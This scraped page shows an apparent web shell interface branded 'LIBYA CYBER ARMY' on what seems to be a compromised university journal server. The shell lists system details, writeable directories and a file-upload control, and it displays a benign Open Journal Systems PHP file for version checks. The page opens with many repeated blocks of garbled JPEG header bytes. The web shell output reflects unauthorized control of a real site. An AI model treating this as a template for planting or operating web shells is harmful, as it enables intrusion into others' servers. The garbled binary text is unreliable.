JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/public_html/journalDEL/dl/lib/pkp/classes/site/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/public_html/journalDEL/dl/lib/pkp/classes/site/VersionCheck.inc.php
<?php

/**
 * @file classes/site/VersionCheck.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class VersionCheck
 * @ingroup site
 * @see Version
 *
 * @brief Provides methods to check for the latest version of OJS.
 */

define('VERSION_CODE_PATH', 'dbscripts/xml/version.xml');

import('lib.pkp.classes.db.XMLDAO');
import('lib.pkp.classes.site.Version');

class VersionCheck {

	/**
	 * Return information about the latest available version.
	 * @return array
	 */
	static function getLatestVersion() {
		$application = Application::get();
		$includeId = Config::getVar('general', 'installed') &&
			!defined('RUNNING_UPGRADE') &&
			Config::getVar('general', 'enable_beacon', true);

		if ($includeId) {
			$pluginSettingsDao =& DAORegistry::getDAO('PluginSettingsDAO');
			$uniqueSiteId = $pluginSettingsDao->getSetting(CONTEXT_SITE, 'UsageEventPlugin', 'uniqueSiteId');
		} else $uniqueSiteId = null;

		$request = $application->getRequest();
		return self::parseVersionXML(
			$application->getVersionDescriptorUrl() .
			($includeId?'?id=' . urlencode($uniqueSiteId) .
				'&oai=' . urlencode($request->url('index', 'oai'))
			:'')
		);
	}

	/**
	 * Return the currently installed database version.
	 * @return Version
	 */
	static function getCurrentDBVersion() {
		$versionDao = DAORegistry::getDAO('VersionDAO'); /* @var $versionDao VersionDAO */
		return $versionDao->getCurrentVersion();
	}

	/**
	 * Return the current code version.
	 * @return Version|false
	 */
	static function getCurrentCodeVersion() {
		$versionInfo = self::parseVersionXML(VERSION_CODE_PATH);
		if ($versionInfo) {
			return $versionInfo['version'];
		}
		return false;
	}

	/**
	 * Parse information from a version XML file.
	 * @param $url string
	 * @return array
	 */
	static function parseVersionXML($url) {
		$xmlDao = new XMLDAO();
		$data = $xmlDao->parseStruct($url, array());
		if (!$data) return false;

		// FIXME validate parsed data?
		$versionInfo = array();

		if(isset($data['application'][0]['value']))
			$versionInfo['application'] = $data['application'][0]['value'];
		if(isset($data['type'][0]['value']))
			$versionInfo['type'] = $data['type'][0]['value'];
		if(isset($data['release'][0]['value']))
			$versionInfo['release'] = $data['release'][0]['value'];
		if(isset($data['tag'][0]['value']))
			$versionInfo['tag'] = $data['tag'][0]['value'];
		if(isset($data['date'][0]['value']))
			$versionInfo['date'] = $data['date'][0]['value'];
		if(isset($data['info'][0]['value']))
			$versionInfo['info'] = $data['info'][0]['value'];
		if(isset($data['package'][0]['value']))
			$versionInfo['package'] = $data['package'][0]['value'];
		if(isset($data['patch'][0]['value'])) {
			$versionInfo['patch'] = array();
			foreach ($data['patch'] as $patch) {
				$versionInfo['patch'][$patch['attributes']['from']] = $patch['value'];
			}
		}
		if (isset($data['class'][0]['value'])) $versionInfo['class'] = (string) $data['class'][0]['value'];

		$versionInfo['lazy-load'] = (isset($data['lazy-load'][0]['value']) ? (int) $data['lazy-load'][0]['value'] : 0);
		$versionInfo['sitewide'] = (isset($data['sitewide'][0]['value']) ? (int) $data['sitewide'][0]['value'] : 0);

		if(isset($data['release'][0]['value']) && isset($data['application'][0]['value'])) {
			$versionInfo['version'] = Version::fromString(
				$data['release'][0]['value'],
				isset($data['type'][0]['value']) ? $data['type'][0]['value'] : null,
				$data['application'][0]['value'],
				isset($data['class'][0]['value']) ? $data['class'][0]['value'] : '',
				$versionInfo['lazy-load'],
				$versionInfo['sitewide']
			);
		}

		return $versionInfo;
	}

	/**
	 * Find the applicable patch for the current code version (if available).
	 * @param $versionInfo array as returned by parseVersionXML()
	 * @param $codeVersion as returned by getCurrentCodeVersion()
	 * @return string
	 */
	static function getPatch($versionInfo, $codeVersion = null) {
		if (!isset($codeVersion)) {
			$codeVersion = self::getCurrentCodeVersion();
		}
		if (isset($versionInfo['patch'][$codeVersion->getVersionString()])) {
			return $versionInfo['patch'][$codeVersion->getVersionString()];
		}
		return null;
	}

	/**
	 * Checks whether the given version file exists and whether it
	 * contains valid data. Returns a Version object if everything
	 * is ok, otherwise throws an Exception.
	 * @param $versionFile string
	 * @return Version
	 */
	static function getValidPluginVersionInfo($versionFile) {
		$fileManager = new FileManager();
		if ($fileManager->fileExists($versionFile)) {
			$versionInfo = self::parseVersionXML($versionFile);
		} else {
			throw new Exception(__('manager.plugins.versionFileNotFound'));
		}

		// Validate plugin name and type to avoid abuse
		$productType = explode(".", $versionInfo['type']);
		if(count($productType) != 2 || $productType[0] != 'plugins') {
			throw new Exception(__('manager.plugins.versionFileInvalid'));
		}

		$pluginVersion = $versionInfo['version'];
		$namesToValidate = array($pluginVersion->getProduct(), $productType[1]);
		foreach($namesToValidate as $nameToValidate) {
			if (!PKPString::regexp_match('/[a-z][a-zA-Z0-9]+/', $nameToValidate)) {
				throw new Exception(__('manager.plugins.versionFileInvalid'));
			}
		}

		return $pluginVersion;
	}

	/**
	 * Checks the application's version against the latest version
	 * on the PKP servers.
	 * @return string|false Version description or false if no newer version
	 */
	static function checkIfNewVersionExists() {
		$versionInfo = self::getLatestVersion();
		$latestVersion = $versionInfo['release'];

		$currentVersion = self::getCurrentDBVersion();
		if ($currentVersion->compare($latestVersion) < 0) return $latestVersion;
		return false;
	}
}

3g86 2022